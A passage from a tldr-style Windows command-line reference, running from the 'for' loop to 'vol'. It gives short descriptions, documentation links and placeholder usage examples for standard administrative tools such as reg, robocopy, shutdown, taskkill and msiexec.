• Execute given commands for the specified set:

for %{{variable}} in ({{item_a item_b item_c}}) do ({{echo


Loop is executed}})

• Iterate over a given range of numbers:

for /l %{{variable}} in ({{from}}, {{step}}, {{to}}) do


({{echo Loop is executed}})

• Iterate over a given list of files:

for %{{variable}} in ({{file_a.ext file_b.ext file_c.ext}})


do ({{echo Loop is executed}})

• Iterate over a given list of directories:

for /d %{{variable}} in ({{directory_a/ directory_b/


directory_c/}}) do ({{echo Loop is executed}})

• Perform a given command in every directory:

for /d %{{variable}} in (*) do (if exist %{{variable}} {{echo


Loop is executed}})
forfiles
Select one or more files to execute a specified command on.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/forfiles.

• Search for files in the current directory:

forfiles

• Search for files in a specific directory:

forfiles /p {{path/to/directory}}

• Run the specified command for each file:

forfiles /c "{{command}}"

• Search for files using a specific glob mask:

forfiles /m {{glob_pattern}}

• Search for files recursively:

forfiles /s

• Search for files older than 5 days:

forfiles /d {{+5}}
fsutil
Displays information about file system volumes.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/fsutil.

• Display a list of volumes:

fsutil volume list

• Display information about a volume's file system:

fsutil fsInfo volumeInfo {{drive_letter|volume_path}}

• Display the current state of the file system auto-repair for all volumes:

fsutil repair state

• Display the dirty bit state of all volumes:

fsutil dirty query

• Set the dirty bit state of a volume:

fsutil dirty set {{drive_letter|volume_path}}


ftp
Interactively transfer files between a local and remote FTP server.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/ftp.

• Connect to a remote FTP server interactively:

ftp {{host}}

• Log in as an anonymous user:

ftp -A {{host}}

• Disable automatic login upon initial connection:

ftp -n {{host}}

• Run a file containing a list of FTP commands:

ftp -s:{{path/to/file}} {{host}}

• Download multiple files (glob expression):

mget {{*.png}}

• Upload multiple files (glob expression):

mput {{*.zip}}

• Delete multiple files on the remote server:

mdelete {{*.txt}}

• Display detailed help:

ftp --help
ftype
Display or modify file types used for file extension association.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/ftype.

• Display a list of all file types:

ftype

• Display the associated program for a specific file type:

ftype {{file_type}}

• Set the associated program for a specific file type:

ftype {{file_type}}="{{path/to/executable_command}}"
Get-ChildItem
List items in a directory.

This command can only be used through PowerShell.

More information: https://docs.microsoft.com/powershell/module/


microsoft.powershell.management/get-childitem.

• List all non-hidden items in the current directory:

Get-ChildItem

• List only directories in the current directory:

Get-ChildItem -Directory

• List only files in the current directory:

Get-ChildItem -File

• List items in the current directory, including hidden items:

Get-ChildItem -Hidden

• List items in a directory other than the current one:

Get-ChildItem -Path {{path/to/directory}}


Get-Content
Get the content of the item at the specified location.

This command can only be used through PowerShell.

More information: https://docs.microsoft.com/powershell/module/


microsoft.powershell.management/get-content.

• Display the content of a file:

Get-Content -Path {{path/to/file}}

• Display the first few lines of a file:

Get-Content -Path {{path/to/file}} -TotalCount {{count}}

• Display the content of the file and keep reading from it until Ctrl + C is pressed:

Get-Content -Path {{path/to/file}} -Wait


Get-FileHash
Calculate a hash for a file.

This command can only be used through PowerShell.

More information: https://docs.microsoft.com/powershell/module/


microsoft.powershell.utility/get-filehash.

• Calculate a hash for a specified file using the SHA256 algorithm:

Get-FileHash {{path/to/file}}

• Calculate a hash for a specified file using a specified algorithm:

Get-FileHash {{path/to/file}} -Algorithm {{SHA1|SHA384|


SHA256|SHA512|MD5}}
Get-History
Display PowerShell command history.

This command can only be used through PowerShell.

More information: https://docs.microsoft.com/powershell/module/


microsoft.powershell.core/get-history.

• Display the commands history list with ID:

Get-History

• Get PowerShell history item by ID:

Get-History -Id {{id}}

• Display the last N commands:

Get-History -Count {{count}}


getmac
Display the MAC addresses of a system.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/getmac.

• Display the MAC addresses for the current system:

getmac

• Display the details in a specific format:

getmac /fo {{table|list|csv}}

• Exclude the header in the output list:

getmac /nh

• Display the MAC addresses for a remote machine:

getmac /s {{hostname}} /u {{username}} /p {{password}}

• Display the MAC addresses with verbose information:

getmac /v

• Display detailed usage information:

getmac /?
gpupdate
A tool to check and apply Windows Group Policy settings.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/gpupdate.

• Check and apply updated Group Policy settings:

gpupdate

• Specify the target Group Policy settings to check for update:

gpupdate /target:{{computer|user}}

• Force all Group Policy settings to be reapplied:

gpupdate /force

• Display detailed usage information:

gpupdate /?
if
Performs conditional processing in batch scripts.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/if.

• Execute the specified commands if the condition is true:

if {{condition}} ({{echo Condition is true}})

• Execute the specified commands if the condition is false:

if not {{condition}} ({{echo Condition is true}})

• Execute the first specified commands if the condition is true otherwise execute the
second specified commands:

if {{condition}} ({{echo Condition is true}}) else ({{echo


Condition is false}})

• Check whether %errorlevel% is greater than or equal to the specified exit code:

if errorlevel {{exit_code}} ({{echo Condition is true}})

• Check whether two strings are equal:

if {{string}} == {{string}} ({{echo Condition is true}})

• Check whether two strings are equal without respecting letter case:

if /i {{string}} == {{string}} ({{echo Condition is true}})

• Check whether a file exist:

if exist {{path/to/file}} ({{echo Condition is true}})


Invoke-Item
Open files in their respective default programs.

This command can only be used through PowerShell.

More information: https://docs.microsoft.com/powershell/module/


microsoft.powershell.management/invoke-item.

• Open a file in its default program:

Invoke-Item -Path {{path/to/file}}

• Open all files inside a directory:

Invoke-Item -Path {{path/to/directory/*}}

• Open all PNGs inside a directory:

Invoke-Item -Path {{path/to/directory/*.png}}

• Open all files inside a directory containing a specific keyword:

Invoke-Item -Path {{path/to/directory/*}} -Include


{{*keyword*}}

• Open all files inside a directory except those containing a specific keyword:

Invoke-Item -Path {{path/to/directory/*}} -Exclude


{{*keyword*}}

• Perform a dry run to determine which files will be opened inside a directory
through Invoke-Item:

Invoke-Item -Path {{path/to/directory/*}} -WhatIf


ipconfig
Display and manage the network configuration of Windows.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/ipconfig.

• Show a list of network adapters:

ipconfig

• Show a detailed list of network adapters:

ipconfig /all

• Renew the IP addresses for a network adapter:

ipconfig /renew {{adapter}}

• Free up the IP addresses for a network adapter:

ipconfig /release {{adapter}}

• Remove all data from the DNS cache:

ipconfig /flushdns
iscc
Compiler for Inno Setup installers.

It compiles an Inno Setup scripts into an Windows installer executable.

More information: https://jrsoftware.org/isinfo.php.

• Compile an Inno Setup script:

iscc {{path/to/file.iss}}

• Quietly compile an Inno Setup installer:

iscc /Q {{path/to/file.iss}}

• Compile a signed Inno Setup installer:

iscc /S={{name}}={{command}} {{path/to/file.iss}}


logoff
Terminate a login session.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/logoff.

• Terminate the current session:

logoff

• Terminate a session by its name or id:

logoff {{session_name|session_id}}

• Terminate a session on a specific server connected through RDP:

logoff {{session_name|session_id}} /server:{{servername}}


mkdir
Creates a directory.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/mkdir.

• Create a directory:

mkdir {{directory_name}}

• Recursively create a nested directory tree:

mkdir {{path/to/sub_directory_name}}
mklink
Create symbolic links.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/mklink.

• Create a symbolic link to a file:

mklink {{path/to/link}} {{path/to/source_file}}

• Create a symbolic link to a directory:

mklink /d {{path/to/link}} {{path/to/source_directory}}

• Create a hard link to a file:

mklink /h {{path/to/link}} {{path/to/source_file}}

• Create a directory junction:

mklink /j {{path/to/link}} {{path/to/source_file}}


more
Display paginated output from stdin or a file.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/more.

• Display paginated output from stdin:

{{echo test}} | more

• Display paginated output from one or more files:

more {{path/to/file}}

• Convert tabs to the specified number of spaces:

more {{path/to/file}} /t{{spaces}}

• Clear the screen before displaying the page:

more {{path/to/file}} /c

• Display the output starting at line 5:

more {{path/to/file}} +{{5}}

• Enable extended interactive mode (see help for usage):

more {{path/to/file}} /e

• Display full usage information:

more /?
mount
Mount Network File System (NFS) network shares.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/mount.

• Mount a share to the "Z" drive letter:

mount \\{{computer_name}}\{{share_name}} {{Z:}}

• Mount a share to the next available drive letter:

mount \\{{computer_name}}\{{share_name}} *

• Mount a share with a read timeout in seconds (defaults to 0.8, can be 0.9 or 1 to
60):

mount -o timeout={{seconds}} \\{{computer_name}}\


{{share_name}} {{Z:}}

• Mount a share and retry up to 10 times if it fails:

mount -o retry={{retries}} \\{{computer_name}}\{{share_name}}


{{Z:}}

• Mount a share with forced case sensitivity:

mount -o casesensitive \\{{computer_name}}\{{share_name}}


{{Z:}}

• Mount a share as an anonymous user:

mount -o anon \\{{computer_name}}\{{share_name}} {{Z:}}

• Mount a share using a specific mount type:

mount -o mtype={{soft|hard}} \\{{computer_name}}\


{{share_name}} {{Z:}}
msg
Send a message to a specific user or session.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/msg.

• Send a message to a specified user or session:

msg {{username|session_name|session_id}} {{message}}

• Send a message from stdin:

echo "{{message}}" | msg {{username|session_name|session_id}}

• Send a message to a specific server:

msg /server:{{server_name}} {{username|session_name|


session_id}}

• Send a message to all users of the current machine:

msg *

• Set a delay in seconds for a message:

msg /time:{{seconds}}
msiexec
Install, update, repair, or uninstall Windows programs using MSI and MSP package files.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/msiexec.

• Install a program from its MSI package:

msiexec /package {{path/to/file.msi}}

• Install a MSI package from a website:

msiexec /package {{https://example.com/installer.msi}}

• Install a MSP patch file:

msiexec /update {{path/to/file.msp}}

• Uninstall a program or patch using their respective MSI or MSP file:

msiexec /uninstall {{path/to/file}}


nfsstat
Display or reset the number of calls made to the NFS server.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/nfsstat.

• Display the recorded number of calls made to the NFS server:

nfsstat

• Reset the recorded number of calls made to the NFS server:

nfsstat -z
nvm
Install, uninstall, or switch between Node.js versions.

Supports version numbers like "12.8" or "v16.13.1", and labels like "stable", "system", etc.

More information: https://github.com/coreybutler/nvm-windows.

• Install a specific version of Node.js:

nvm install {{node_version}}

• Set the default version of Node.js (must be run as Administrator):

nvm use {{node_version}}

• List all available Node.js versions and highlight the default one:

nvm list

• Uninstall a given Node.js version:

nvm uninstall {{node_version}}


octo
Command-line tools for Octopus Deploy.

More information: https://octopus.com/docs/octopus-rest-api/octo.exe-command-line.

• Create a package:

octo pack --id={{package_name}}

• Push a package to a repository on the Octopus server:

octo push --package={{package_name}}

• Create a release:

octo create-release --project={{project_name}} --


packageversion={{version}}

• Deploy a release:

octo deploy-release --project={{project_name}} --


packageversion={{version}} --deployto={{environment_name}} --
tenant={{deployment_target}}
pabcnetcclear
Preprocess and compile PascalABC.NET source files.

More information: http://pascalabc.net.

• Compile a given source file into an executable with the same name:

pabcnetcclear {{path/to/file.pas}}

• Compile a given source file into an executable with the specified name:

pabcnetcclear /Output:{{path/to/file.pas}} {{path/to/


file.pas}}

• Compile a given source file into an executable with the same name along with/
without debug information:

pabcnetcclear /Debug:{{0|1}} {{path/to/file.pas}}

• Allow units to be searched in a path while compiling a given source file into an
executable with the same name:

pabcnetcclear /SearchDir:{{path/to/dir}} {{path/to/file.pas}}

• Compile a given source file into an executable, defining a symbol:

pabcnetcclear /Define:{{symbol}} {{path/to/file.pas}}


path
Display or set the search path for executable files.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/path.

• Display the current path:

path

• Set the path to one or more semicolon-separated directories:

path {{path/to/directory(s)}}

• Append a new directory to the original path:

path {{path/to/directory}};%path%

• Set command prompt to only search the current directory for executables:

path ;
pathping
A trace route tool combining features of ping and tracert.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/pathping.

• Ping and trace the route to a host:

pathping {{hostname}}

• Do not perform reverse lookup of IP address to hostname:

pathping {{hostname}} -n

• Specify the maximum number of hops to search for the target (the default is 30):

pathping {{hostname}} -h {{max_hops}}

• Specify the milliseconds to wait between pings (the default is 240):

pathping {{hostname}} -p {{time}}

• Specify the number of queries per hop (the default is 100):

pathping {{hostname}} -q {{queries}}

• Force IPV4 usage:

pathping {{hostname}} -4

• Force IPV6 usage:

pathping {{hostname}} -6

• Display detailed usage information:

pathping /?
pipwin
A tool to install unofficial Python package binaries on Windows.

More information: https://github.com/lepisma/pipwin.

• List all available packages for download:

pipwin list

• Search packages:

pipwin search {{partial_name|name}}

• Install a package:

pipwin install {{package_name}}

• Uninstall a package:

pipwin uninstall {{package_name}}

• Download a package to a specific directory:

pipwin download --dest {{path/to/directory}} {{package_name}}

• Install packages according to requirements.txt:

pipwin install --file {{path/to/requirements.txt}}


popd
Changes the current directory to the directory stored by the pushd command.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/popd.

• Switch to directory at the top of the stack:

popd
powershell
Command-line shell and scripting language designed especially for system
administration.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/powershell.

• Start a Windows PowerShell session in a Command Prompt window:

powershell

• Load a specific PowerShell console file:

powershell -PSConsoleFile {{path/to/file}}

• Start a session with a specified version of PowerShell:

powershell -Version {{version}}

• Prevent the shell from exit after running startup commands:

powershell -NoExit

• Describe the format of data sent to PowerShell:

powershell -InputFormat {{Text|XML}}

• Determine how output from PowerShell is formatted:

powershell -OutputFormat {{Text|XML}}

• Display help:

powershell -Help
print
Print a text file to a printer.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/print.

• Print a text file to the default printer:

print {{path/to/file}}

• Print a text file to a specific printer:

print /d:{{printer}} {{path/to/file}}


psping
A ping tool that includes TCP ping, latency and bandwidth measurement.

More information: https://docs.microsoft.com/sysinternals/downloads/psping.

• Ping a host using ICMP:

psping {{hostname}}

• Ping a host over a TCP port:

psping {{hostname}}:{{port}}

• Specify the number of pings and perform it quietly:

psping {{hostname}} -n {{pings}} -q

• Ping the target over TCP 50 times and produce a histogram of the results:

psping {{hostname}}:{{port}} -q -n {{50}} -h

• Display usage information:

psping /?
pushd
Place a directory on a stack so it can be accessed later.

See also popd to switch back to original directory.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/pushd.

• Switch to directory and push it on the stack:

pushd {{directory}}
pwlauncher
A command-line tool for managing the Windows To Go startup options.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/pwlauncher.

• Display the current Windows To Go status:

pwlauncher

• Enable or disable the Windows To Go startup options:

pwlauncher /{{enable|disable}}
query
Displays information about user sessions and process.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/query.

• Display all user sessions:

query session

• Display the current user sessions on a remote computer:

query session /server:{{hostname}}

• Display logged in users:

query user

• Display all user sessions on a remote computer:

query session /server:{{hostname}}

• Display all running processes:

query process

• Display running processes by session or user name:

query process {{session_name|user_name}}


rdpsign
A tool for signing Remote Desktop Protocol (RDP) files.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/rdpsign.

• Sign an RDP file:

rdpsign {{path/to/file.rdp}}

• Sign an RDP file using a specific sha256 hash:

rdpsign {{path/to/file.rdp}} /sha265 {{hash}}

• Enable quiet output:

rdpsign {{path/to/file.rdp}} /q

• Display verbose warnings, messages and statuses:

rdpsign {{path/to/file.rdp}} /v

• Test the signing by displaying the output to stdout without updating the file:

rdpsign {{path/to/file.rdp}} /l
reg add
Add new keys and their values to the registry.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/reg-add.

• Add a new registry key:

reg add {{key_name}}

• Add a new value under a specific key:

reg add {{key_name}} /v {{value}}

• Add a new value with specific data:

reg add {{key_name}} /d {{data}}

• Add a new value to a key with a specific data type:

reg add {{key_name}} /t {{type}}

• Forcefully overwrite the existing registry value without a prompt:

reg add {{key_name}} /f


reg compare
Compare keys and their values in the registry.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/reg-compare.

• Compare all values under a specific key with a second key:

reg compare {{first_key_name}} {{second_key_name}}

• Compare a specific value under two keys:

reg compare {{first_key_name}} {{second_key_name}} /v


{{value}}

• Compare all sub keys and values for two keys:

reg compare {{first_key_name}} {{second_key_name}} /s

• Only output the matches between the specified keys:

reg compare {{first_key_name}} {{second_key_name}} /os

• Output the differences and matches between the specified keys:

reg compare {{first_key_name}} {{second_key_name}} /oa


reg copy
Copy keys and their values in the registry.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/reg-copy.

• Copy a registry key to a new registry location:

reg copy {{old_key_name}} {{new_key_name}}

• Copy a registry key recursively to a new registry location:

reg copy {{old_key_name}} {{new_key_name}} /s

• Forcefully copy a registry key without a prompt:

reg copy {{old_key_name}} {{new_key_name}} /f


reg delete
Delete keys or their values from the registry.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/reg-delete.

• Delete a specific registry key:

reg delete {{key_name}}

• Delete a value under a specific key:

reg delete {{key_name}} /v {{value}}

• Delete all values recursively under the specified key:

reg delete {{key_name}} /va

• Forcefully delete all values recursively under a key without a prompt:

reg delete {{key_name}} /f /va


reg export
Export the specified sub keys and values into a file.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/reg-export.

• Export all sub keys and values of a specific key:

reg export {{key_name}} {{path/to/file.reg}}

• Force overwriting of an existing file without prompt:

reg export {{key_name}} {{path/to/file.reg}} /y


reg flags
Display or set flags on registry keys.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/reg-flags.

• Display current flags for a specific key:

reg flags {{key_name}} query

• Display help and available flag types:

reg flags /?

• Set specified space-separated flags, and unset unmentioned flags, for a specific
key:

reg flags {{key_name}} set {{flag_names}}

• Set specified flags for a specific key and its sub keys:

reg flags {{key_name}} set {{flag_names}} /s


reg import
Import all available keys, subkeys, and values from a file.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/reg-import.

• Import all keys, subkeys and values from a file:

reg import {{path/to/file.reg}}


reg load
Load saved sub keys into a different sub key in the registry.

This is intended for troubleshooting and temporary keys.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/reg-load.

• Load a backup file into the specified key:

reg load {{key_name}} {{path/to/file}}


reg query
Display the values of keys and sub keys in the registry.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/reg-query.

• Display all values of a key:

reg query {{key_name}}

• Display a specific value of a key:

reg query {{key_name}} /v {{value}}

• Display all values of a key and its sub keys:

reg query {{key_name}} /s

• Search for keys and values matching a specific pattern:

reg query {{key_name}} /f "{{query_pattern}}"

• Display a value of a key matching a specified data type:

reg query {{key_name}} /t {{type}}


reg restore
Restore a key and its values from a backup file.

See reg-save for more information.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/reg-restore.

• Overwrite a specified key with data from a backup file:

reg restore {{key_name}} {{path/to/file}}


reg save
Save a registry key, its sub keys and values to a file.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/reg-save.

• Save a registry key, its sub keys and values to a specific file:

reg save {{key_name}} {{path/to/file}}

• Forcefully overwrite an existing file without a prompt:

reg save {{key_name}} {{path/to/file}} /y


reg unload
Remove data from the registry that was loaded using the reg load command.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/reg-unload.

• Remove data from the registry for a specified key:

reg unload {{key_name}}


reg
A command-line interface for managing keys and their values in the Windows registry.

Some subcommands such as reg add have their own usage documentation.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/reg.

• Execute registry commands:

reg {{command}}

• Display general information and list all available commands:

reg /?

• Call help on a specific command:

reg {{command}} /?
repair-bde
Attempt to repair or decrypt a damaged BitLocker-encrypted volume.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/repair-bde.

• Attempt to repair a specified volume:

repair-bde {{C:}}

• Attempt to repair a specified volume and output to another volume:

repair-bde {{C:}} {{D:}}

• Attempt to repair a specified volume using the provided recovery key file:

repair-bde {{C:}} -RecoveryKey {{path/to/file.bek}}

• Attempt to repair a specified volume using the provided numerical recovery


password:

repair-bde {{C:}} -RecoveryPassword {{password}}

• Attempt to repair a specified volume using the provided password:

repair-bde {{C:}} -Password {{password}}

• Attempt to repair a specified volume using the provided key package:

repair-bde {{C:}} -KeyPackage {{path/to/directory}}

• Log all output to a specific file:

repair-bde {{C:}} -LogFile {{path/to/file}}

• Display all available options:

repair-bde /?
replace
Replace files.

See also: robocopy, move, copy, and del.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/replace.

• Replace the destination file with the one from the source directory:

replace {{path/to/file_or_directory}} {{path/to/destination}}

• Add files to the destination directory instead of replacing existing files:

replace {{path/to/file_or_directory}} {{path/to/destination}}


/a

• Interactively copy multiple files, with a prompt before replacing or adding a


destination file:

replace {{path/to/file_or_directory}} {{path/to/destination}}


/p

• Replace even read only files:

replace {{path/to/file_or_directory}} {{path/to/destination}}


/r

• Wait for you to insert a disk before it replaces files (originally to allow inserting a
floppy disk):

replace {{path/to/file_or_directory}} {{path/to/destination}}


/w

• Replace all files in subdirectories of the destination:

replace {{path/to/file_or_directory}} {{path/to/destination}}


/s

• Replace only files in the destination directory which are older than the files in the
source directory:

replace {{path/to/file_or_directory}} {{path/to/destination}}


/u

• Display detailed usage information:

replace /?
rmdir
Remove a directory and its contents.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/rmdir.

• Remove an empty directory:

rmdir {{path/to/directory}}

• Remove a directory and its contents recursively:

rmdir {{path/to/directory}} /s

• Remove a directory and its contents recursively without prompting:

rmdir {{path/to/directory}} /s /q
robocopy
Robust File and Folder Copy.

By default files will only be copied if the source and destination have different time
stamps or different file sizes.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/robocopy.

• Copy all .jpg and .bmp files from one directory to another:

robocopy {{path/to/source}} {{path/to/destination}} {{*.jpg}}


{{*.bmp}}

• Copy all files and subdirectories, including empty ones:

robocopy {{path/to/source}} {{path/to/destination}} /E

• Mirror/Sync a directory, deleting anything not in source and include all attributes
and permissions:

robocopy {{path/to/source}} {{path/to/destination}} /MIR /


COPYALL

• Copy all files and subdirectories, excluding source files that are older than
destination files:

robocopy {{path/to/source}} {{path/to/destination}} /E /XO

• List all files 50 MB or larger instead of copying them:

robocopy {{path/to/source}} {{path/to/destination}} /MIN:


{{52428800}} /L

• Allow resuming if network connection is lost and limit retries to 5 and wait time to
15 sec:

robocopy {{path/to/source}} {{path/to/destination}} /Z /R:5 /


W:15

• Display detailed usage information:

robocopy /?
rpcinfo
List programs via RPC on remote computers.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/rpcinfo.

• List all programs registered on the local computer:

rpcinfo

• List all programs registered on a remote computer:

rpcinfo /p {{computer_name}}

• Call a specific program on a remote computer using TCP:

rpcinfo /t {{computer_name}} {{program_name}}

• Call a specific program on a remote computer using UDP:

rpcinfo /u {{computer_name}} {{program_name}}


scoop bucket
Manage buckets: Git repositories containing files which describe how scoop installs
applications.

If Scoop doesn't know where the bucket is located its repository location must be
specified.

More information: https://github.com/lukesampson/scoop/wiki/Buckets.

• List all buckets currently in use:

scoop bucket list

• List all known buckets:

scoop bucket known

• Add a known bucket by its name:

scoop bucket add {{name}}

• Add an unknown bucket by its name and Git repository URL:

scoop bucket add {{name}} {{https://example.com/


repository.git}}

• Remove a bucket by its name:

scoop bucket rm {{name}}


scoop
A command-line installer for Windows.

More information: https://scoop.sh.

• Install a package:

scoop install {{package}}

• Remove a package:

scoop uninstall {{package}}

• Update all installed packages:

scoop update *

• List installed packages:

scoop list

• Display information about a package:

scoop info {{package}}

• Search for a package:

scoop search {{package}}

• Remove old versions of all packages and clear the download cache:

scoop cleanup -k *
set
Display or set environment variables for the current instance of CMD.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/set.

• List all current environment variables:

set

• Set an environment variable to a specific value:

set {{name}}={{value}}

• List environment variables starting with the specified string:

set {{name}}

• Prompt the user for a value for the specified variable:

set /p {{name}}={{prompt_string}}
setx
Sets persistent environment variables.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/setx.

• Set an environment variable for the current user:

setx {{variable}} {{value}}

• Set an environment variable for the current machine:

setx {{variable}} {{value}} /M

• Set an environment variable for a user on a remote machine:

setx /s {{hostname}} /u {{username}} /p {{password}}


{{variable}} {{value}}

• Set an environment variable from a registry key value:

setx {{variable}} /k {{registry\key\path}}


sfc
Scans the integrity of Windows system files.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/sfc.

• Display information about the usage of the command:

sfc

• Scan all system files and, if possible, repair any problems:

sfc /scannow

• Scan all system files without attempting to repair any:

sfc /verifyonly

• Scan a specific file and, if possible, repair any problems:

sfc /scanfile={{path/to/file}}

• Scan a specific file without attempting to repair it:

sfc /verifyfile={{path/to/file}}

• When repairing offline, specify the boot directory:

sfc /offbootdir={{path/to/directory}}

• When repairing offline, specify the Windows directory:

sfc /offwindir={{path/to/directory}}
showmount
Display information about NFS filesystems on Windows Server.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/showmount.

• Display all exported filesystems:

showmount -e

• Display all NFS clients and their mounted directories:

showmount -a

• Display all NFS mounted directories:

showmount -d

• Display all exported filesystems for a remote server:

showmount -e {{server_address}}
shutdown
A tool for shutting down, restarting or logging off a machine.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/shutdown.

• Shutdown the current machine:

shutdown /s

• Shutdown the current machine force-closing all apps:

shutdown /s /f

• Restart the current machine immediately:

shutdown /r /t 0

• Hibernate the current machine:

shutdown /h

• Log off the current machine:

shutdown /l

• Specify a timeout in seconds to wait before shutting down:

shutdown /s /t {{seconds}}

• Abort a shutdown sequence whose timeout is yet to expire:

shutdown /a

• Shutdown a remote machine:

shutdown /m {{\\hostname}}
subst
Associates a path with a virtual drive letter.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/subst.

• List active associations:

subst

• Add an association:

subst {{Z:}} {{C:\Python2.7}}

• Remove an association:

subst {{Z:}} /d
systeminfo
Display operating system configuration for a local or remote machine.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/systeminfo.

• Display system configuration for the local machine:

systeminfo

• Display system configuration in a specified output format:

systeminfo /fo {{table|list|csv}}

• Display system configuration for a remote machine:

systeminfo /s {{remote_name}} /u {{username}} /p {{password}}

• Display detailed usage information:

systeminfo /?
takeown
Take ownership of a file or directory.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/takeown.

• Take ownership of the specified file:

takeown /f {{path/to/file}}

• Take ownership of the specified directory:

takeown /d {{path/to/directory}}

• Take ownership of the specified directory and all subdirectories:

takeown /r /d {{path/to/directory}}

• Change ownership to the Administrator group instead of the current user:

takeown /a /f {{path/to/file}}
taskkill
Terminate a process by its process ID or name.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/taskkill.

• Terminate a process by its ID:

taskkill /pid {{process_id}}

• Terminate a process by its name:

taskkill /im {{process_name}}

• Forcefully terminate a specified process:

taskkill /pid {{process_id}} /f

• Terminate a process and its child processes:

taskkill /im {{process_name}} /t

• Terminate a process on a remote machine:

taskkill /pid {{process_id}} /s {{remote_name}}

• Display information about the usage of the command:

taskkill /?
tasklist
Display a list of currently running processes on a local or remote machine.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/tasklist.

• Display currently running processes:

tasklist

• Display running processes in a specified output format:

tasklist /fo {{table|list|csv}}

• Display running processes using the specified .exe or .dll file name:

tasklist /m {{module_pattern}}

• Display processes running on a remote machine:

tasklist /s {{remote_name}} /u {{username}} /p {{password}}

• Display services using each process:

tasklist /svc
time
Display or set the system time.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/time.

• Display the current system time and prompt to enter a new time (leave empty to
keep unchanged):

time

• Display the current system time without prompting for a new time:

time /t
title
Set the title of the command prompt window.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/title.

• Set the title of the current command prompt window:

title {{new_title}}
tree
Display a graphical tree of the directory structure for a path.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/tree.

• Display the tree for the current directory:

tree

• Display the tree for a specific directory:

tree {{path/to/directory}}

• Display the tree for a directory including files:

tree {{path/to/directory}} /f

• Display the tree using ASCII characters instead of extended characters:

tree {{path/to/directory}} /a
tskill
Ends a process running in a session on a Remote Desktop Session Host.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/tskill.

• Terminate a process by its process identifier:

tskill {{process_id}}

• Terminate a process by its name:

tskill {{process_name}}
type
Display the contents of a file.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/type.

• Display the contents of a specific file:

type {{path/to/file}}
tzutil
A tool for displaying or configuring the system time zone.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/tzutil.

• Get the current time zone:

tzutil /g

• Display a list of available time zones:

tzutil /l

• Set the system time zone to the specific value:

tzutil /s {{timezone_id}}
vcvarsall
Setup the environment variables required for using the Microsoft Visual Studio tools
from the command line.

The path of vcvarsall for a certain Visual Studio installation can be found using
vswhere.

More information: https://docs.microsoft.com/cpp/build/building-on-the-command-


line.

• Setup the environment for native x64:

vcvarsall x64

• Setup the environment for cross-compiled native x86 from the x64 host:

vcvarsall x64_x86

• Setup the environment for cross-compiled native Arm x64 from the x64 host:

vcvarsall x64_arm64

• Setup the environment for native UWP x64:

vcvarsall x64 uwp


ver
Display the current Windows or MS-DOS version number.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/ver.

• Display the current version number:

ver
virtualboxvm
The VirtualBox virtual machine management CLI.

More information: https://www.virtualbox.org.

• Start a virtual machine:

virtualboxvm --startvm {{name|uuid}}

• Start a virtual machine in fullscreen mode:

virtualboxvm --startvm {{name|uuid}} --fullscreen

• Mount the specified DVD image file:

virtualboxvm --startvm {{name|uuid}} --dvd {{path/to/


image_file}}

• Display a command-line window with debug information:

virtualboxvm --startvm {{name|uuid}} --debug-command-line

• Start a virtual machine in a paused state:

virtualboxvm --startvm {{name|uuid}} --start-paused


vol
Display information about volumes.

More information: https://docs.microsoft.com/windows-server/administration/


